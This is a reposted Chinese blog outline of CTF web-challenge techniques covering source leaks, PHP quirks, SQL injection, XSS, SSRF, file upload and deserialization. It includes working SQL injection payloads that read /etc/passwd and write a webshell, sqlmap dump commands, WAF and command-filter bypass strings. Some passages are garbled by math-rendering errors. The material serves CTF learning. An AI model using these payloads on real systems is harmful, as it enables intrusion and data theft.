0


最全CTF Web题思路总结(更新ing)

网上似乎没有一篇比较完整的CTF Web题思路的总结,希望这篇“最全总结”对各位师傅有帮助。

文章目录

基础

Flag可能出现的位置

网页源代码(注意注释)

数据库中

phpinfo

靶机中的文件

环境变量

题目要求

XFF/Refer/UA/Cookie/F12(view-source)/URL/robots.txt/响应码/

指纹识别

工具

Arjun:HTTP参数挖掘套件

TideFinger/Bscan/Glass

Wappalyzer插件

错误界面(404/302)

源码泄露(dirsearch)

Git

Githack恢复

查看log后选择性地进行git reset回滚

.git/config可能有access_token信息

SVN

Seay-svn

dvcs-ripper工具

注意wc.db文件存在与否

WEB-INF/web.xml泄露

.DS_Store文件泄漏

.hg泄露

dvcs-ripper工具

CVS泄露

备份文件泄露

gedit:filename ~

vim:vim -r filename.swp/.swo/.swn

www.zip/rar/tar.gz

PHP专题

MD5/SHA1数组绕过、0e

is_numeric()绕过:33a

比较大小:数组大于任何其他类型

intval() 1a/1%00/a1=0

正则式:/e可执行,构造越界

命令执行

运用分隔符&或| 若无严格过滤可出现任意漏洞执行漏洞

反弹shell的方式

%0A参数污染

无参RCE

绕过preg_match的RCE

非常经典的如无符号RCE

过滤与bypass

linux中{IFS}可以代替空格

内联执行

长度限制与解决方案

利用文件名

MySQL服务端恶意读取客户端文件漏洞

Redis 4.x CVE

主从复制写shell

https://github.com/n0b0dyCN/redis-rogue-server

Redis结合SSRF

https://github.com/xmsec/redis-ssrf

容器和框架漏洞

Nginx配置漏洞

Windows相关

IIS PUT上传漏洞

IIS 远程溢出漏洞

IIS短文件漏洞

文件上传的绕过

Apache HTTP组件提权漏洞

CVE-2019-0211

CGI 漏洞

ThinkPHP

Twig

Laravel

Smarty

ASP

ASP.NET VIEWSTATE反序列化

web.config利用

JAVA WEB

Struts2框架漏洞

OGNL注入

Spring框架漏洞

SPEL注入

组件漏洞

FastJson等

反序列化漏洞

Hessian

二进制(ObjectOutputStream)

JSON

XML

YAML

JRMP安全性问题

JWT攻击

敏感信息泄露

将算法修改为none

密钥混淆攻击

无效签名

暴力破解密钥

密钥泄露

操纵KID

操纵头部参数

JavaScript框架

SSJI(服务端JavaScript注入)

Node.js

Vue.js

JavaScript Prototype 污染攻击

Python

沙箱逃逸

利用内建函数执行命令

过滤与bypass

各种框架的漏洞

Flask

SESSION安全问题

https://www.leavesongs.com/PENETRATION/client-session-security.html

敏感信息泄露

验证码绕过

SESSION伪造和对象注入漏洞

使用hash而非hmac进行签名

Hash长度拓展攻击

任意文件读取

加密而未签名

CBC字节翻转攻击

Tornado

Django

反序列化漏洞

pickle模块

Ruby

ERB模板注入

SQL注入及数据库

手工注入

原理

用户输入的内容传到web应用,没有经过过滤或者严格的过滤,被带入到了数据库中进行执行

漏洞产生的关键条件

用户能够控制 自己的输入

直接控制输入

间接控制输入

二次注入

按照数据库分类

mysql数据库

六种基本的注入模式

联合注入

几大基本步骤

判断是否有注入以及注入点的类型
是否有注入
加单引号
and 8731=8731
and ‘a’=‘a’
and 1=2
or 1=1
or 1=2
注入点类型
字符型
"
')
")
%’
数字型
判断查询列数
为什么
union 前后两个select语句的列数要一致
原理
order by是排序的语句
select * from users order by id
select * from users order by id desc
select * from users order by 1
order by n
联合查询
union
id=1’ union select 1,2,3–+
id=-1’ union select 1,2,3–+
获取基本信息
version()
获取数据库的版本
database()
获取当前网站使用的数据库
user()
当前网站使用的数据库账号
@@secure_file_priv
数据库的读写文件
@@datadir
数据库的安装目录
phpstudy

####### c:\phpstudy\mysql

####### c:\phpstudy\www

wamp

####### c:\wamp\mysql

####### c:\wamp\www

…(自行补充)
获取数据库名
information_schema数据库
schemata数据表
tables数据表
columns数据表
schemata数据表里面获取数据库名
select schema_name from schemata;
id=1’ union select 1,2,group_concat(schema_name) from information_schema.schemata
获取数据表名
tables表
select table_name from tables where table_schema=‘security’;
select table_name from tables where table_schema=database();
id=1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
获取列名
columns表
select column_name from columns where table_schema=‘security’ and table_name=‘users’;
优化步骤
select table_name,column_name from columns where table_schema=‘security’;
id=1’ union select 1,2,group_concat(table_name,’_’,column_name) from information_schema.columns where table_schema=database()
获取数据
md5破解
md5破解的做法
暴力枚举

报错注入

几个函数

updatexml
extractvalue
报错的原理
构造不满足xpath语法的内容
报错的语句
id=1’ and extractvalue(1,concat(0x7e,(select user()),0x7e))
注意
版本限制
32位长度限制
substr
其他函数

布尔盲注

原理

布尔运算
and
or

步骤

获取数据库名
判断有多少个数据库
count()
判断第一个数据库名的长度
length()
获取第一个每一位数据库名字的字符
substr()
ascii()
判断第二个数据库名的长度
获取第二个数据库每一位数据库名字的字符
获取数据表名
判断数据库里面有多少个数据表
判断第一个数据库的长度
获取第一个数据表的每一位字符
获取列名
获取数据

时间盲注

原理

发送一个请求,网站接受请求,并发送到数据库执行相关的操作,等待数据库返回结果,人为的延长数据库的执行时间,判断是否有注入

步骤

同布尔盲注
if(判断条件,条件为真时返回的值,条件为假时返回的值)
sleep()
benchmark()

堆叠注入

mysqli_query函数不支持堆叠注入

mysqli_muiti_query()支持堆叠注入

语法

select * from users;create table you(id int);#
id=1’;create table you(id int);#

内联注入

子查询

select (select 1)

区别

应用范围

时间盲注>布尔盲注>报错注入=联合注入

利用便捷度

联合注入>报错注入>布尔盲注>时间盲注

sql server数据库

access数据库

oracle数据库

mongodb数据库

按照语句划分

select

四种基本注入

update

联合注入不行

insert

联合注入不行

delete

联合注入不行

limit之后的注入

order by之后的注入

按照位置划分

get

post

http header

cookie

referer

user-agent

注意

不管这个数据从什么地方传到数据库执行的,只要数据可控,那就有可能产生注入漏洞

其他类型

base64注入

二次解码注入

插入admin'or'1

宽字节注入

OOB-dns外带注入

sqlmap

基本步骤

检测是否有注入点

sqlmap -u “http://www.xxx.com/1.php?id=1”

获取所有数据库名

sqlmap -u “http://www.xxx.com/1.php?id=1” --dbs

获取数据表

sqlmap -u “http://www.xxx.com/1.php?id=1” -D liuyanban --tables

获取列名

sqlmap -u “http://www.xxx.com/1.php?id=1” -D liuyanban -T users --columns

获取数据

sqlmap -u “http://www.xxx.com/1.php?id=1” -D liuyanban -T users -C id,username,password --dump

常用参数

-r

读取文件,提交数据包

用*进行标记

-m

批量注入

–cookie

–user-agent

–current-db

–current-user

–users

获取当前数据库的登陆用户

–passwords

获取当前数据库的用户密码

-v

五个等级

–level

–delay

–time-sec

读写文件

原理

load_file

关键条件

有读权限
secure_file_priv
SELinux
知道绝对路径

用法

id=1’ union select 1,2,load_file(’/etc/passwd’)
id=1’ union select 1,2,load_file(0x0000000)
id=1’ union select 1,2,load_file(char(10,20))
id=1’ union select 1,2,hex(load_file(char(10,20)))

into outfile

关键条件

有写权限
secure_file_priv
SELinux
知道绝对路径
绕过单引号的过滤

用法

id=1’ union select 1,2,’ ¶
<?php phpinfo(); ?>

{=html} ¶ ’ into outfile ‘/var/www/html/shell.php’

id=1’ union select 1,2,0x00000000 into outfile ‘/var/www/html/shell.php’

参数

–file-read

–file-write

–file-dest

进阶参数

–os-shell

原理

利用写文件,先写入一个简单的上传页面,再利用上传页面,上传一个webshell执行命令,从webshell页面获取命令回显

–os-cmd

waf

原理

身份认证

白名单

黑名单

数据包解析

规则匹配

绕waf的方式

身份认证层面

伪造白名单

数据包解析层面

数据包加密

冰蝎

自加密

规则匹配层面

利用数据库、中间件、编程语言的种种特性进行绕过

绕waf基础方式

大小写

uNioN SeLect

替代

UNunionION SELselectECT

特殊字符

代替空格的特殊字符

%0a

%0c

括号

花括号

编码

url编码

unicode编码

注释符号

普通注释

内联注释

综合方式

大小写

特殊字符

编码

注释符号

参数污染

缓冲区溢出

分块传输

正则绕过:\bselect\b -> /! 50000select/

遗漏的注入点

tamper

常用的tamper脚本

用法

sqlmap -u “http://www.xxx.com/index.php?id=1” --tamper space2comment.py

进阶

自己编写tamper脚本

注意站库分离

XSS/CSRF/XXE/SSRF/SSTI

XSS

过滤特定标签

使用事件

使用新标签

过滤事件

fuzz

使用伪协议或其他可以执行JS代码的标签属性

过滤敏感关键字(字符)

字符串拼接混淆

编解码

在XSS放置在客户端

字符相关

字符集编码相关

宽字节

长度限制

利用第三方库函数

利用注释

window.name和location.*

HttpOnly相关

CVE-2012-0053

phpinfo()

利用Flash/Java的API

XSS Auditor

字符集编码

利用协议理解不一致

利用CRLF

CSP

SSTI

tqlmap工具

XXE

原理

xml外部实体注入

实体

内部实体

外部实体

xml格式

利用

任意文件读取

ssrf

命令执行

CSRF

原理

跨域

同源

协议相同

域名相同

端口相同

同源策略

ajax无法跨域

自动表单提交

<script src>

{=html}

其他

crossdomain.xml的错误配置

SSRF

hash长度扩展攻击

HashPump

PHP SOAP

SOAP是PHP中的原生类,其常和反序列化漏洞一起考察

过滤与Bypass

限制请求特定域名

@

限制访问内网IP

进制转换

省略写法

利用DNS和可控域名

文件上传

原理

用户能够控制自己上传的文件,web应用没有经过过滤或者没有经过严格的过滤,上传的恶意文件被保存到服务器上当做脚本文件来执行

常规的利用方式

直接上传

绕过前端JS验证

不让js代码生效

删除js

禁用js

修改js

抓包修改

1.jpg改为1.php

mime-type值验证

概念

补充

抓包修改

Content-Type

image/jpeg

image/png

image/gif

文件头

概念

子主题 1

利用方式

抓包修改

jpeg

png

gif

GIF89a

图片马

1.jpg改成1.php

黑名单

解析漏洞

apache

nginx

iis 6.0

fck编辑器

目录解析

新建一个xx.asp目录,在这个目录里面的文件都会当作asp文件来执行

文件名解析

xxx.asp;1.jpg
重命名文件
时间戳.jpg

iis 7.0/7.5

php路径修复

中间件的特性

iis6.0

asa

cer

cdx

常规方式

大小写

windows文件流

操作系统特性

1.jpg空格

1.jpg.

白名单

解析漏洞

文件包含

ewebeditor后台可以修改白名单

后台getshell

备份数据功能

把当前数据库备份为一个文件

可以指定文件后缀

1.php

不可以指定文件后缀

抓包修改
不能修改

想办法插入一句话代码

新建、浏览文件/目录功能

getshell

文件包含漏洞

任意文件读取

xx.php?filename=…/…/index.php

任意文件下载

注意

前台和后台分离

www.xxx.com

www.xxx.com/admin
admin.xxx.com

二次渲染

含义

图片马

注意负载均衡

练习平台

upload-labs

文件包含

原理

分类

远程文件包含

利用方式

include.php?file=http://xxx.com/1.txt

本地文件包含

利用方式

伪协议

特殊方式

包含日志文件

load data infile

路径问题

可以直接获取路径

通过返回包获取

右键查看地址

无法直接获取路径

查看源代码或者本地搭建

通用的路径

img

images

upload

uploads

file

分析网站结构

爬虫

分析网站命名方式

上传文件保存在另外的服务器上面

防御方式

反序列化

Java

PHP

框架

weblogic

struct2

fastjson

其他

代码审计

XSS

print()

printr()

echo

printf()

sprintf()

die()

var_dump()

var_export()

代码执行

函数

eval()

assert()

preg_repace()

create_function()

array_map()

call_user_func()

call_user_func_array()

array_filter()

usort()

uasort()

过滤与bypass

利用各种函数的返回值进行拼接

利用^符号异或出想要的东西

利用等价表达式

_

空格

.

文件包含

include()

include_once()

require()

require_once()

文件读取(下载)

file_get_contents()

highlight_file()

fopen()

readfile()

fread()

fgetss()

fgets()

parse_ini_file()

show_source()

file()

sort()比较鸡肋

命令执行

相关函数

system()

exec()

shell_exec()(反引号也可以)

passthru()

pcntl_exec()

popen()

proc_open()

create_function()

这个是逃逸后可以命令执行

过滤与bypass

disable_function

ld_preload

php_gc

限制命令长度

限制回显长度

过滤字符

空格

bash环境

<

${IFS}

$IFS$9

%09

某些函数名

截断符号

fuzz得出没被过滤的

利用base编码绕过

用两个单引号

比如命令 cat /etc/passwd

等价于 cat /etc/pass’w’d

文件上传

move_uploaded_file()

文件删除

unlink()

session_destroy()(老版本)

变量覆盖

extract()

parse_str

无第二个参数会引起变量覆盖

import_request_variables()

for each($_GET as

    k
   
   
    e
   
   
    y
   
   
    =
   
   
    >
   
  
  
   key=>
  
 
key=>value) KaTeX parse error: Expected '}', got 'EOF' at end of input: {key}=$value

register_globals

弱类型比较

、=、!==、!=

md5,sha1的==绕过

is_numeric

16进制编码绕过

%00放在数字开头或者结尾,%20放在开头都能使函数返回false

in_array

弱不相等却md5值相等的情况

只需要利用NaN(float)和’NaN’(string)即可(INF等同理)

PHP黑魔法

这里记录的是一些比较Trick的内容

主要是一些函数的特性

md5

绕过sql,md5(‘ffifdyop’,true)= 'or’6xxx

当raw设置为true时输入 ffifdyop 可以对单引号进行闭合

经过md5编码后返回的原始二进制不是普通的二进制(因为raw为true),而是’or’6

\xc9

{=tex}]

\x99

{=tex}

\xe9

{=tex}!r,

\xf9

{=tex}

\xedb

{=tex}

\x

{=tex}1c
这种。这样的话就会和前面的形成闭合,构成万能密码;

弱类型绕过和强类型绕过

eval

可使用分号构造出多条语句

ereg

存在%00截断

strcmp

影响版本 PHP5.3 及以下

无法处理数组并将return 0

ascii

传进去的是字符串只会截取第一个字符进行处理

curl_setopt

存在可能的SSRF

preg_replace

第二个参数使用 /e模式导致代码执行

urldecode

url二次编码绕过

include

include函数有这么一个神奇的功能:若以字符’/‘分隔(而且不计个数),若是在前面的字符串所代表的文件无法被PHP找到,则PHP会自动包含’/‘后面的文件------注意是最后一个’/’。(存疑)

__wakeup

(CVE-2016-7124)

影响版本: · PHP before 5.6.25 · 7.x before 7.0.10

反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup( )的执行

open_basedir

PHP5.x

可绕过并进行任意文件读取(两种方法)

in_array()

第三个参数如果设置为FALSE,就存在注入点

spl_autoload_register

配合文件上传可以getshell

create_function()

代码注入

file_get_contents

经常用伪协议绕过

mt_rand

SEED相关的安全性问题

sprintf

格式化字符串漏洞

parse_url

可用于绕过某些过滤

preg_match

  1. 可绕过进行代码执行,见P神的文章
  2. 通过pre_match函数的资源消耗来绕过,因为pre_match在匹配的时候会消耗较大的资源,并且默认存在贪婪匹配,所以通过喂一个超长的字符串去给pre_match吃,导致pre_match消耗大量资源从而导致php超时,后面的php语句就不会执行。
  3. 回溯次数上限pcre.backtrack_limit相关的安全问题
  4. %0A,%0D 参数污染相关问题

intval

类型转换上限

Session绕过

删除cookie,没有cookie中的SESSIONID就找不到对应的session文件,相应的$_SESSION[‘var’]就为NULL,传参NULL即可匹配。

file_put_contents

第二个参数写入数据如果是数组的话,会被连接起来写入文件。但是这样就能绕过前面的过滤。

json_encode/decode

json_encode:将数组转换为json,只支持utf8格式的数据。json_encode
会自动将utf8格式的汉字转为unicode格式。gbk格式的数据只能输出NULL。

json_decode:可以解析unicode编码格式的字符串,官方说明只能解析utf-8编码的数据。 英文字符不区分编码格式,encode decode都能解析。

json_decode:可以当作mysql的分隔符:
空格 +

\f

{=tex}

\n

{=tex}

\r

{=tex}

\t \u0

{=tex}009

\u0

{=tex}00A

\u0

{=tex}00B

\u0

{=tex}00C

\u0

{=tex}00D

\u0

{=tex}020

\u0

{=tex}02B

几乎所有的字符串相关函数都不能处理数组,此时会返回NULL,可用于绕过

举例: md5,sha1,strpos

ereg

MD5

sha1

strpos

strcmp

变量特性

ignore_user_abort

并发漏洞

$_SERVER[‘QUERY_STRING’]

不会像$_GET一样进行urldecode

disable_functions

有七种做法进行绕过

可以试试蚁剑的插件

未exit(),return()引发的相关问题

伪静态绕过

反序列化漏洞

对各种魔法函数的理解

__wakeup() //使用unserialize时触发

__sleep() //使用serialize时触发

__destruct() //对象被销毁时触发

__construct()//对象创建时自动调用

__call() //在对象上下文中调用不可访问的方法时触发

__callStatic() //在静态上下文中调用不可访问的方法时触发

__get() //用于从不可访问的属性读取数据

__set() //用于将数据写入不可访问的属性

__isset() //在不可访问的属性上调用isset()或empty()触发

__unset() //在不可访问的属性上使用unset()时触发

__toString() //把类当作字符串使用时触发

__invoke() //当脚本尝试将对象调用为函数时触发

pop链的构造

寻找位点

正向构造

切入点------__wakeup()------其他

反向推理

从flag开始推起

phar与反序列化

由于替换引起的反序列化字符串逃逸

绕过正则

if (preg_match(’/[oc]:

\d+

{=tex}:/i’,
‘O:4:“Demo”:1:{s:10:“Demofile”;s:16:“f15g_1s_here.php”;}’)) 进行这种正则判断的时候,可以在数字前加’+'号来绕过,数字的正号在序列化后的字符串中可以省略,但是可以绕过正则

逻辑漏洞

用户名和密码分开验证

下单和扣款的先后顺序

技巧相关

小型代码

寻找输入点

对针对输入点的过滤进行绕过

在处理输入的函数中寻找漏洞

进行利用

大型代码

寻找危险函数

向上回溯 寻找可用输入点

尝试绕过过滤

寻找触发漏洞的方法

2019强网杯Web-Upload

脚本编写

其他

Clickjacking

HEREDOC

JSPFUCK

Web Assembly

整数溢出

常见于商城,购物界面

Hash长度拓展攻击

标签: 网络安全 php web

本文转载自: https://blog.csdn.net/yjprolus/article/details/122903841
版权归原作者 yjprolus 所有, 如有侵权,请联系我们删除。

“最全CTF Web题思路总结(更新ing)”的评论:

还没有评论